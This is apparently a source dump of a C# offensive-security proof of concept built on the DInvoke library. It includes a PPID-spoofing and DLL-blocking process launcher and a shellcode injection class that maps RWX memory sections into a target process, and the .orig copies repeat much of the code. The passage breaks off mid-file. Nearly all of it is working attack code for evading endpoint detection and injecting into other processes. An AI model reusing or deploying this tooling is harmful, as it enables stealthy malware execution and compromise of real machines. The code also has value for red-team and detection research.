Spoof 76 | var hParent = Process.GetProcessesByName("explorer")[0].Handle; 77 | lpValue = Marshal.AllocHGlobal(IntPtr.Size); 78 | Marshal.WriteIntPtr(lpValue, hParent); 79 | 80 | // Start Process 81 | funcParams = new object[] 82 | { 83 | si.lpAttributeList, 84 | (uint)0, 85 | (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS, 86 | lpValue, 87 | (IntPtr)IntPtr.Size, 88 | IntPtr.Zero, 89 | IntPtr.Zero 90 | }; 91 | 92 | Generic.DynamicAPIInvoke( 93 | "kernel32.dll", 94 | "UpdateProcThreadAttribute", 95 | typeof(UpdateProcThreadAttribute), 96 | ref funcParams, 97 | true); 98 | 99 | var pa = new Win32.SECURITY_ATTRIBUTES(); 100 | var ta = new Win32.SECURITY_ATTRIBUTES(); 101 | pa.nLength = Marshal.SizeOf(pa); 102 | ta.nLength = Marshal.SizeOf(ta); 103 | 104 | funcParams = new object[] 105 | { 106 | null, 107 | "notepad", 108 | pa, 109 | ta, 110 | false, 111 | Win32.CreationFlags.EXTENDED_STARTUPINFO_PRESENT, 112 | IntPtr.Zero, 113 | "C:\\Windows\\System32", 114 | si, 115 | null 116 | }; 117 | 118 | Generic.DynamicAPIInvoke( 119 | "kernel32.dll", 120 | "CreateProcessA", 121 | typeof(CreateProcess), 122 | ref funcParams, 123 | true); 124 | 125 | var pi = (Win32.PROCESS_INFORMATION)funcParams[9]; 126 | 127 | if (pi.hProcess != IntPtr.Zero) 128 | { 129 | Console.WriteLine($"Process ID: {pi.dwProcessId}"); 130 | } 131 | 132 | } 133 | catch (Exception e) 134 | { 135 | Console.Error.WriteLine(e.Message); 136 | } 137 | finally 138 | { 139 | // Clean up 140 | var funcParams = new object[] 141 | { 142 | si.lpAttributeList 143 | }; 144 | 145 | Generic.DynamicAPIInvoke( 146 | "kernel32.dll", 147 | "DeleteProcThreadAttributeList", 148 | typeof(DeleteProcThreadAttributeList), 149 | ref funcParams, 150 | true); 151 | 152 | Marshal.FreeHGlobal(si.lpAttributeList); 153 | Marshal.FreeHGlobal(lpValue); 154 | } 155 | 156 | } 157 | 158 | static bool Is64Bit 159 | { 160 | get 161 | { 162 | return IntPtr.Size == 8; 163 | } 164 | } 165 | 166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 167 | delegate bool InitializeProcThreadAttributeList( 168 | IntPtr lpAttributeList, 169 | int dwAttributeCount, 170 | int dwFlags, 171 | ref IntPtr lpSize); 172 | 173 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 174 | delegate bool UpdateProcThreadAttribute( 175 | IntPtr lpAttributeList, 176 | uint dwFlags, 177 | IntPtr Attribute, 178 | IntPtr lpValue, 179 | IntPtr cbSize, 180 | IntPtr lpPreviousValue, 181 | IntPtr lpReturnSize); 182 | 183 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 184 | delegate bool CreateProcess( 185 | string lpApplicationName, 186 | string lpCommandLine, 187 | ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes, 188 | ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes, 189 | bool bInheritHandles, 190 | Win32.CreationFlags dwCreationFlags, 191 | IntPtr lpEnvironment, 192 | string lpCurrentDirectory, 193 | ref Win32.STARTUPINFOEX lpStartupInfo, 194 | out Win32.PROCESS_INFORMATION lpProcessInformation); 195 | 196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 197 | delegate bool DeleteProcThreadAttributeList( 198 | IntPtr lpAttributeList); 199 | } 200 | 201 | class Win32 202 | { 203 | [StructLayout(LayoutKind.Sequential)] 204 | public struct PROCESS_INFORMATION 205 | { 206 | public IntPtr hProcess; 207 | public IntPtr hThread; 208 | public int dwProcessId; 209 | public int dwThreadId; 210 | } 211 | 212 | [StructLayout(LayoutKind.Sequential)] 213 | public struct STARTUPINFO 214 | { 215 | public uint cb; 216 | public IntPtr lpReserved; 217 | public IntPtr lpDesktop; 218 | public IntPtr lpTitle; 219 | public uint dwX; 220 | public uint dwY; 221 | public uint dwXSize; 222 | public uint dwYSize; 223 | public uint dwXCountChars; 224 | public uint dwYCountChars; 225 | public uint dwFillAttributes; 226 | public uint dwFlags; 227 | public ushort wShowWindow; 228 | public ushort cbReserved; 229 | public IntPtr lpReserved2; 230 | public IntPtr hStdInput; 231 | public IntPtr hStdOutput; 232 | public IntPtr hStdErr; 233 | } 234 | 235 | [StructLayout(LayoutKind.Sequential)] 236 | public struct STARTUPINFOEX 237 | { 238 | public STARTUPINFO StartupInfo; 239 | public IntPtr lpAttributeList; 240 | } 241 | 242 | [StructLayout(LayoutKind.Sequential)] 243 | public struct SECURITY_ATTRIBUTES 244 | { 245 | public int nLength; 246 | public IntPtr lpSecurityDescriptor; 247 | public int bInheritHandle; 248 | } 249 | 250 | [Flags] 251 | public enum ProcThreadAttribute : int 252 | { 253 | MITIGATION_POLICY = 0x20007, 254 | PARENT_PROCESS = 0x00020000 255 | } 256 | 257 | [Flags] 258 | public enum BinarySignaturePolicy : ulong 259 | { 260 | BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000, 261 | } 262 | 263 | [Flags] 264 | public enum CreationFlags : uint 265 | { 266 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000 267 | } 268 | } 269 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/overloadMapping.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Diagnostics; 4 | 5 | using DInvoke.DynamicInvoke; 6 | 7 | namespace ConsoleApp1 8 | { 9 | class Program 10 | { 11 | static void Mapping(string[] args) 12 | { 13 | var si = new Win32.STARTUPINFOEX(); 14 | si.StartupInfo.cb = (uint)Marshal.SizeOf(si); 15 | si.StartupInfo.dwFlags = 0x00000001; 16 | 17 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size); 18 | 19 | try 20 | { 21 | var funcParams = new object[] { 22 | IntPtr.Zero, 23 | 2, 24 | 0, 25 | IntPtr.Zero 26 | }; 27 | 28 | Generic.DynamicAPIInvoke( 29 | "kernel32.dll", 30 | "InitializeProcThreadAttributeList", 31 | typeof(InitializeProcThreadAttributeList), 32 | ref funcParams, 33 | true); 34 | 35 | var lpSize = (IntPtr)funcParams[3]; 36 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize); 37 | 38 | funcParams[0] = si.lpAttributeList; 39 | 40 | Generic.DynamicAPIInvoke( 41 | "kernel32.dll", 42 | "InitializeProcThreadAttributeList", 43 | typeof(InitializeProcThreadAttributeList), 44 | ref funcParams, 45 | true); 46 | 47 | // BlockDLLs 48 | if (Is64Bit) 49 | { 50 | Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)); 51 | } 52 | else 53 | { 54 | Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON))); 55 | } 56 | 57 | funcParams = new object[] 58 | { 59 | si.lpAttributeList, 60 | (uint)0, 61 | (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY, 62 | lpValue, 63 | (IntPtr)IntPtr.Size, 64 | IntPtr.Zero, 65 | IntPtr.Zero 66 | }; 67 | 68 | Generic.DynamicAPIInvoke( 69 | "kernel32.dll", 70 | "UpdateProcThreadAttribute", 71 | typeof(UpdateProcThreadAttribute), 72 | ref funcParams, 73 | true); 74 | 75 | // PPID Spoof 76 | var hParent = Process.GetProcessesByName("explorer")[0].Handle; 77 | lpValue = Marshal.AllocHGlobal(IntPtr.Size); 78 | Marshal.WriteIntPtr(lpValue, hParent); 79 | 80 | // Start Process 81 | funcParams = new object[] 82 | { 83 | si.lpAttributeList, 84 | (uint)0, 85 | (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS, 86 | lpValue, 87 | (IntPtr)IntPtr.Size, 88 | IntPtr.Zero, 89 | IntPtr.Zero 90 | }; 91 | 92 | Generic.DynamicAPIInvoke( 93 | "kernel32.dll", 94 | "UpdateProcThreadAttribute", 95 | typeof(UpdateProcThreadAttribute), 96 | ref funcParams, 97 | true); 98 | 99 | var pa = new Win32.SECURITY_ATTRIBUTES(); 100 | var ta = new Win32.SECURITY_ATTRIBUTES(); 101 | pa.nLength = Marshal.SizeOf(pa); 102 | ta.nLength = Marshal.SizeOf(ta); 103 | 104 | funcParams = new object[] 105 | { 106 | null, 107 | "notepad", 108 | pa, 109 | ta, 110 | false, 111 | Win32.CreationFlags.EXTENDED_STARTUPINFO_PRESENT, 112 | IntPtr.Zero, 113 | "C:\\Windows\\System32", 114 | si, 115 | null 116 | }; 117 | 118 | Generic.DynamicAPIInvoke( 119 | "kernel32.dll", 120 | "CreateProcessA", 121 | typeof(CreateProcess), 122 | ref funcParams, 123 | true); 124 | 125 | var pi = (Win32.PROCESS_INFORMATION)funcParams[9]; 126 | 127 | if (pi.hProcess != IntPtr.Zero) 128 | { 129 | Console.WriteLine($"Process ID: {pi.dwProcessId}"); 130 | } 131 | 132 | } 133 | catch (Exception e) 134 | { 135 | Console.Error.WriteLine(e.Message); 136 | } 137 | finally 138 | { 139 | // Clean up 140 | var funcParams = new object[] 141 | { 142 | si.lpAttributeList 143 | }; 144 | 145 | Generic.DynamicAPIInvoke( 146 | "kernel32.dll", 147 | "DeleteProcThreadAttributeList", 148 | typeof(DeleteProcThreadAttributeList), 149 | ref funcParams, 150 | true); 151 | 152 | Marshal.FreeHGlobal(si.lpAttributeList); 153 | Marshal.FreeHGlobal(lpValue); 154 | } 155 | 156 | } 157 | 158 | static bool Is64Bit 159 | { 160 | get 161 | { 162 | return IntPtr.Size == 8; 163 | } 164 | } 165 | 166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 167 | delegate bool InitializeProcThreadAttributeList( 168 | IntPtr lpAttributeList, 169 | int dwAttributeCount, 170 | int dwFlags, 171 | ref IntPtr lpSize); 172 | 173 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 174 | delegate bool UpdateProcThreadAttribute( 175 | IntPtr lpAttributeList, 176 | uint dwFlags, 177 | IntPtr Attribute, 178 | IntPtr lpValue, 179 | IntPtr cbSize, 180 | IntPtr lpPreviousValue, 181 | IntPtr lpReturnSize); 182 | 183 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 184 | delegate bool CreateProcess( 185 | string lpApplicationName, 186 | string lpCommandLine, 187 | ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes, 188 | ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes, 189 | bool bInheritHandles, 190 | Win32.CreationFlags dwCreationFlags, 191 | IntPtr lpEnvironment, 192 | string lpCurrentDirectory, 193 | ref Win32.STARTUPINFOEX lpStartupInfo, 194 | out Win32.PROCESS_INFORMATION lpProcessInformation); 195 | 196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 197 | delegate bool DeleteProcThreadAttributeList( 198 | IntPtr lpAttributeList); 199 | } 200 | 201 | class Win32 202 | { 203 | [StructLayout(LayoutKind.Sequential)] 204 | public struct PROCESS_INFORMATION 205 | { 206 | public IntPtr hProcess; 207 | public IntPtr hThread; 208 | public int dwProcessId; 209 | public int dwThreadId; 210 | } 211 | 212 | [StructLayout(LayoutKind.Sequential)] 213 | public struct STARTUPINFO 214 | { 215 | public uint cb; 216 | public IntPtr lpReserved; 217 | public IntPtr lpDesktop; 218 | public IntPtr lpTitle; 219 | public uint dwX; 220 | public uint dwY; 221 | public uint dwXSize; 222 | public uint dwYSize; 223 | public uint dwXCountChars; 224 | public uint dwYCountChars; 225 | public uint dwFillAttributes; 226 | public uint dwFlags; 227 | public ushort wShowWindow; 228 | public ushort cbReserved; 229 | public IntPtr lpReserved2; 230 | public IntPtr hStdInput; 231 | public IntPtr hStdOutput; 232 | public IntPtr hStdErr; 233 | } 234 | 235 | [StructLayout(LayoutKind.Sequential)] 236 | public struct STARTUPINFOEX 237 | { 238 | public STARTUPINFO StartupInfo; 239 | public IntPtr lpAttributeList; 240 | } 241 | 242 | [StructLayout(LayoutKind.Sequential)] 243 | public struct SECURITY_ATTRIBUTES 244 | { 245 | public int nLength; 246 | public IntPtr lpSecurityDescriptor; 247 | public int bInheritHandle; 248 | } 249 | 250 | [Flags] 251 | public enum ProcThreadAttribute : int 252 | { 253 | MITIGATION_POLICY = 0x20007, 254 | PARENT_PROCESS = 0x00020000 255 | } 256 | 257 | [Flags] 258 | public enum BinarySignaturePolicy : ulong 259 | { 260 | BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000, 261 | } 262 | 263 | [Flags] 264 | public enum CreationFlags : uint 265 | { 266 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000 267 | } 268 | } 269 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Injection/Allocation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for allocation techniques. 12 | /// 13 | public abstract class AllocationTechnique 14 | { 15 | // An array containing a set of PayloadType objects that are supported. 16 | protected Type[] supportedPayloads; 17 | 18 | /// 19 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 20 | /// 21 | /// The Wover (@TheRealWover) 22 | /// A payload. 23 | /// Whether or not the payload is of a supported type for this strategy. 24 | public abstract bool IsSupportedPayloadType(PayloadType Payload); 25 | 26 | /// 27 | /// Internal method for setting the supported payload types. Used in constructors. 28 | /// 29 | /// The Wover (@TheRealWover) 30 | internal abstract void DefineSupportedPayloadTypes(); 31 | 32 | /// 33 | /// Allocate the payload to the target process at a specified address. 34 | /// 35 | /// The Wover (@TheRealWover) 36 | /// The payload to allocate to the target process. 37 | /// The target process. 38 | /// The address at which to allocate the payload in the target process. 39 | /// True when allocation was successful. Otherwise, throws relevant exceptions. 40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) 41 | { 42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; 43 | 44 | try 45 | { 46 | // Get delegate to the overload of Allocate that supports the type of payload passed in 47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 48 | 49 | // Dynamically invoke the appropriate Allocate overload 50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); 51 | } 52 | // If there is no such method 53 | catch (ArgumentNullException) 54 | { 55 | throw new PayloadTypeNotSupported(Payload.GetType()); 56 | } 57 | } 58 | 59 | /// 60 | /// Allocate the payload to the target process. 61 | /// 62 | /// The Wover (@TheRealWover) 63 | /// The payload to allocate to the target process. 64 | /// The target process. 65 | /// Base address of allocated memory within the target process's virtual memory space. 66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process) 67 | { 68 | 69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; 70 | 71 | try 72 | { 73 | // Get delegate to the overload of Allocate that supports the type of payload passed in 74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 75 | 76 | // Dynamically invoke the appropriate Allocate overload 77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); 78 | } 79 | // If there is no such method 80 | catch (ArgumentNullException) 81 | { 82 | throw new PayloadTypeNotSupported(Payload.GetType()); 83 | } 84 | } 85 | } 86 | 87 | /// 88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. 89 | /// 90 | public class SectionMapAlloc : AllocationTechnique 91 | { 92 | // Publically accessible options 93 | 94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT; 97 | 98 | /// 99 | /// Default constructor. 100 | /// 101 | public SectionMapAlloc() 102 | { 103 | DefineSupportedPayloadTypes(); 104 | } 105 | 106 | /// 107 | /// Constructor allowing options as arguments. 108 | /// 109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT) 110 | { 111 | DefineSupportedPayloadTypes(); 112 | localSectionPermissions = localPerms; 113 | remoteSectionPermissions = remotePerms; 114 | sectionAttributes = atts; 115 | } 116 | 117 | /// 118 | /// States whether the payload is supported. 119 | /// 120 | /// The Wover (@TheRealWover) 121 | /// Payload that will be allocated. 122 | /// 123 | public override bool IsSupportedPayloadType(PayloadType Payload) 124 | { 125 | return supportedPayloads.Contains(Payload.GetType()); 126 | } 127 | 128 | /// 129 | /// Internal method for setting the supported payload types. Used in constructors. 130 | /// Update when new types of payloads are added. 131 | /// 132 | /// The Wover (@TheRealWover) 133 | internal override void DefineSupportedPayloadTypes() 134 | { 135 | //Defines the set of supported payload types. 136 | supportedPayloads = new Type[] { 137 | typeof(PICPayload) 138 | }; 139 | } 140 | 141 | /// 142 | /// Allocate the payload to the target process. Handles unknown payload types. 143 | /// 144 | /// The Wover (@TheRealWover) 145 | /// The payload to allocate to the target process. 146 | /// The target process. 147 | /// Base address of allocated memory within the target process's virtual memory space. 148 | public override IntPtr Allocate(PayloadType Payload, Process Process) 149 | { 150 | if (!IsSupportedPayloadType(Payload)) 151 | { 152 | throw new PayloadTypeNotSupported(Payload.GetType()); 153 | } 154 | return Allocate(Payload, Process, IntPtr.Zero); 155 | } 156 | 157 | /// 158 | /// Allocate the payload in the target process. 159 | /// 160 | /// The Wover (@TheRealWover) 161 | /// The PIC payload to allocate to the target process. 162 | /// The target process. 163 | /// The preferred address at which to allocate the payload in the target process. 164 | /// Base address of allocated memory within the target process's virtual memory space. 165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) 166 | { 167 | // Get a convenient handle for the target process. 168 | IntPtr procHandle = Process.Handle; 169 | 170 | // Create a section to hold our payload 171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); 172 | 173 | // Map a view of the section into our current process with RW permissions 174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, 175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); 176 | 177 | // Copy the shellcode to the local view 178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); 179 | 180 | // Now that we are done with the mapped view in our own process, unmap it 181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); 182 | 183 | // Now, map a view of the section to other process. It should already hold the payload. 184 | 185 | SectionDetails newDetails; 186 | 187 | if (PreferredAddress != IntPtr.Zero) 188 | { 189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location. 190 | // Refer to MSDN documentation on ZwMapViewOfSection for details. 191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); 192 | } 193 | else 194 | { 195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); 196 | } 197 | return newDetails.baseAddr; 198 | } 199 | 200 | /// 201 | /// Creates a new Section. 202 | /// 203 | /// The Wover (@TheRealWover) 204 | /// Max size of the Section. 205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). 206 | /// 207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes) 208 | { 209 | // Create a pointer for the section handle 210 | IntPtr SectionHandle = new IntPtr(); 211 | ulong maxSize = size; 212 | 213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( 214 | ref SectionHandle, 215 | 0x10000000, 216 | IntPtr.Zero, 217 | ref maxSize, 218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 219 | allocationAttributes, 220 | IntPtr.Zero 221 | ); 222 | // Perform error checking on the result 223 | if (result < 0) 224 | { 225 | return IntPtr.Zero; 226 | } 227 | return SectionHandle; 228 | } 229 | 230 | /// 231 | /// Maps a view of a section to the target process. 232 | /// 233 | /// The Wover (@TheRealWover) 234 | /// Handle the process that the section will be mapped to. 235 | /// Handle to the section. 236 | /// What permissions to use on the view. 237 | /// Optional parameter to specify the address of where to map the view. 238 | /// Size of the view to map. Must be smaller than the max Section size. 239 | /// A struct containing address and size of the mapped view. 240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) 241 | { 242 | // Copied so that they may be passed by reference but the original value preserved 243 | IntPtr baseAddr = addr; 244 | ulong size = sizeData; 245 | 246 | uint disp = 2; 247 | uint alloc = 0; 248 | 249 | // Returns an NTSTATUS value 250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( 251 | sectionHandle, procHandle, 252 | ref baseAddr, 253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 254 | ref size, disp, alloc, 255 | protection 256 | ); 257 | 258 | // Create a struct to hold the results. 259 | SectionDetails details = new SectionDetails(baseAddr, sizeData); 260 | 261 | return details; 262 | } 263 | 264 | 265 | /// 266 | /// Holds the data returned from NtMapViewOfSection. 267 | /// 268 | public struct SectionDetails 269 | { 270 | public IntPtr baseAddr; 271 | public ulong size; 272 | 273 | public SectionDetails(IntPtr addr, ulong sizeData) 274 | { 275 | baseAddr = addr; 276 | size = sizeData; 277 | } 278 | } 279 | 280 | /// 281 | /// Unmaps a view of a section from a process. 282 | /// 283 | /// The Wover (@TheRealWover) 284 | /// Process to which the view has been mapped. 285 | /// Address of the view (relative to the target process) 286 | /// 287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) 288 | { 289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); 290 | } 291 | } 292 | } 293 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Injection/Allocation.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for allocation techniques. 12 | /// 13 | public abstract class AllocationTechnique 14 | { 15 | // An array containing a set of PayloadType objects that are supported. 16 | protected Type[] supportedPayloads; 17 | 18 | /// 19 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 20 | /// 21 | /// The Wover (@TheRealWover) 22 | /// A payload. 23 | /// Whether or not the payload is of a supported type for this strategy. 24 | public abstract bool IsSupportedPayloadType(PayloadType Payload); 25 | 26 | /// 27 | /// Internal method for setting the supported payload types. Used in constructors. 28 | /// 29 | /// The Wover (@TheRealWover) 30 | internal abstract void DefineSupportedPayloadTypes(); 31 | 32 | /// 33 | /// Allocate the payload to the target process at a specified address. 34 | /// 35 | /// The Wover (@TheRealWover) 36 | /// The payload to allocate to the target process. 37 | /// The target process. 38 | /// The address at which to allocate the payload in the target process. 39 | /// True when allocation was successful. Otherwise, throws relevant exceptions. 40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) 41 | { 42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; 43 | 44 | try 45 | { 46 | // Get delegate to the overload of Allocate that supports the type of payload passed in 47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 48 | 49 | // Dynamically invoke the appropriate Allocate overload 50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); 51 | } 52 | // If there is no such method 53 | catch (ArgumentNullException) 54 | { 55 | throw new PayloadTypeNotSupported(Payload.GetType()); 56 | } 57 | } 58 | 59 | /// 60 | /// Allocate the payload to the target process. 61 | /// 62 | /// The Wover (@TheRealWover) 63 | /// The payload to allocate to the target process. 64 | /// The target process. 65 | /// Base address of allocated memory within the target process's virtual memory space. 66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process) 67 | { 68 | 69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; 70 | 71 | try 72 | { 73 | // Get delegate to the overload of Allocate that supports the type of payload passed in 74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 75 | 76 | // Dynamically invoke the appropriate Allocate overload 77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); 78 | } 79 | // If there is no such method 80 | catch (ArgumentNullException) 81 | { 82 | throw new PayloadTypeNotSupported(Payload.GetType()); 83 | } 84 | } 85 | } 86 | 87 | /// 88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. 89 | /// 90 | public class SectionMapAlloc : AllocationTechnique 91 | { 92 | // Publically accessible options 93 | 94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT; 97 | 98 | /// 99 | /// Default constructor. 100 | /// 101 | public SectionMapAlloc() 102 | { 103 | DefineSupportedPayloadTypes(); 104 | } 105 | 106 | /// 107 | /// Constructor allowing options as arguments. 108 | /// 109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT) 110 | { 111 | DefineSupportedPayloadTypes(); 112 | localSectionPermissions = localPerms; 113 | remoteSectionPermissions = remotePerms; 114 | sectionAttributes = atts; 115 | } 116 | 117 | /// 118 | /// States whether the payload is supported. 119 | /// 120 | /// The Wover (@TheRealWover) 121 | /// Payload that will be allocated. 122 | /// 123 | public override bool IsSupportedPayloadType(PayloadType Payload) 124 | { 125 | return supportedPayloads.Contains(Payload.GetType()); 126 | } 127 | 128 | /// 129 | /// Internal method for setting the supported payload types. Used in constructors. 130 | /// Update when new types of payloads are added. 131 | /// 132 | /// The Wover (@TheRealWover) 133 | internal override void DefineSupportedPayloadTypes() 134 | { 135 | //Defines the set of supported payload types. 136 | supportedPayloads = new Type[] { 137 | typeof(PICPayload) 138 | }; 139 | } 140 | 141 | /// 142 | /// Allocate the payload to the target process. Handles unknown payload types. 143 | /// 144 | /// The Wover (@TheRealWover) 145 | /// The payload to allocate to the target process. 146 | /// The target process. 147 | /// Base address of allocated memory within the target process's virtual memory space. 148 | public override IntPtr Allocate(PayloadType Payload, Process Process) 149 | { 150 | if (!IsSupportedPayloadType(Payload)) 151 | { 152 | throw new PayloadTypeNotSupported(Payload.GetType()); 153 | } 154 | return Allocate(Payload, Process, IntPtr.Zero); 155 | } 156 | 157 | /// 158 | /// Allocate the payload in the target process. 159 | /// 160 | /// The Wover (@TheRealWover) 161 | /// The PIC payload to allocate to the target process. 162 | /// The target process. 163 | /// The preferred address at which to allocate the payload in the target process. 164 | /// Base address of allocated memory within the target process's virtual memory space. 165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) 166 | { 167 | // Get a convenient handle for the target process. 168 | IntPtr procHandle = Process.Handle; 169 | 170 | // Create a section to hold our payload 171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); 172 | 173 | // Map a view of the section into our current process with RW permissions 174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, 175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); 176 | 177 | // Copy the shellcode to the local view 178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); 179 | 180 | // Now that we are done with the mapped view in our own process, unmap it 181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); 182 | 183 | // Now, map a view of the section to other process. It should already hold the payload. 184 | 185 | SectionDetails newDetails; 186 | 187 | if (PreferredAddress != IntPtr.Zero) 188 | { 189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location. 190 | // Refer to MSDN documentation on ZwMapViewOfSection for details. 191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); 192 | } 193 | else 194 | { 195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); 196 | } 197 | return newDetails.baseAddr; 198 | } 199 | 200 | /// 201 | /// Creates a new Section. 202 | /// 203 | /// The Wover (@TheRealWover) 204 | /// Max size of the Section. 205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). 206 | /// 207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes) 208 | { 209 | // Create a pointer for the section handle 210 | IntPtr SectionHandle = new IntPtr(); 211 | ulong maxSize = size; 212 | 213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( 214 | ref SectionHandle, 215 | 0x10000000, 216 | IntPtr.Zero, 217 | ref maxSize, 218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 219 | allocationAttributes, 220 | IntPtr.Zero 221 | ); 222 | // Perform error checking on the result 223 | if (result < 0) 224 | { 225 | return IntPtr.Zero; 226 | } 227 | return SectionHandle; 228 | } 229 | 230 | /// 231 | /// Maps a view of a section to the target process. 232 | /// 233 | /// The Wover (@TheRealWover) 234 | /// Handle the process that the section will be mapped to. 235 | /// Handle to the section. 236 | /// What permissions to use on the view. 237 | /// Optional parameter to specify the address of where to map the view. 238 | /// Size of the view to map. Must be smaller than the max Section size. 239 | /// A struct containing address and size of the mapped view. 240 